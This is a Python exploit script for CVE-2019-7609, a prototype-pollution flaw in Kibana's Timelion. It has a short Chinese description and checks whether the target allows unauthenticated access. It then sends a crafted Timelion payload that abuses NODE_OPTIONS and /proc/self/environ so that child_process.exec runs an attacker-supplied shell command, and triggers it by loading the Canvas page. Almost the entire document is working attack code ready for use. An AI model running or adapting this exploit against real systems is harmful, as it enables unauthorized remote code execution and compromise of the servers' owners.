'''
CVE-2019-7609 Kibana 原型链污染致任意代码执行漏洞
writen by ophxc
漏洞描述：Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15到6.6.1之间的版本中存在一处原型链污染漏洞，利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。
'''
import requests
import argparse

parser=argparse.ArgumentParser(description="usage of CVE-9-3396")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-c","--command",help="the command you want to excute")
args=parser.parse_args()

url=args.url
cmd = args.command

proxy = {
    'http': '127.0.0.1:8080'
}

url2="http://"+url+"/app/kibana"
res=requests.get(url=url2)
if res.status_code == 200:
    if 'Dashboard' in res.text:
        print("the kibana's unauth is exist! ")
    else:
        exit("it's seems unexploitable")
else:
    exit("it's seems unexploitable")
print("Now checking:")
url2="http://"+url+"/app/timelion"
res=requests.get(url=url2)
if res.status_code == 200:
    print("the timelion is finded ,check the url:")

headers={
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
    'Accept': 'application/json, text/plain, */*',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'kbn-version': '6.5.4',
    'Content-Type': 'application/json;charset=utf-8',
}

data='''
{"sheet":[".es(*).props(label.__proto__.env.AAAA='require(\\"child_process\\").exec(\\"'''+cmd+'''\\");process.exit()//')\\n.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')"],"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}
'''
url4="http://"+url+"/api/timelion/run"
res2=requests.post(url=url4,headers=headers,data=data,proxies=proxy)
if "sheet" in res2.text:
    print("the command is write in , now excute")
else:
    exit("it's seems wrong , may be unexploitable")

url3="http://"+url+"/app/canvas#/"
res3=requests.get(url=url3)
print("the command is excute and it has no responce")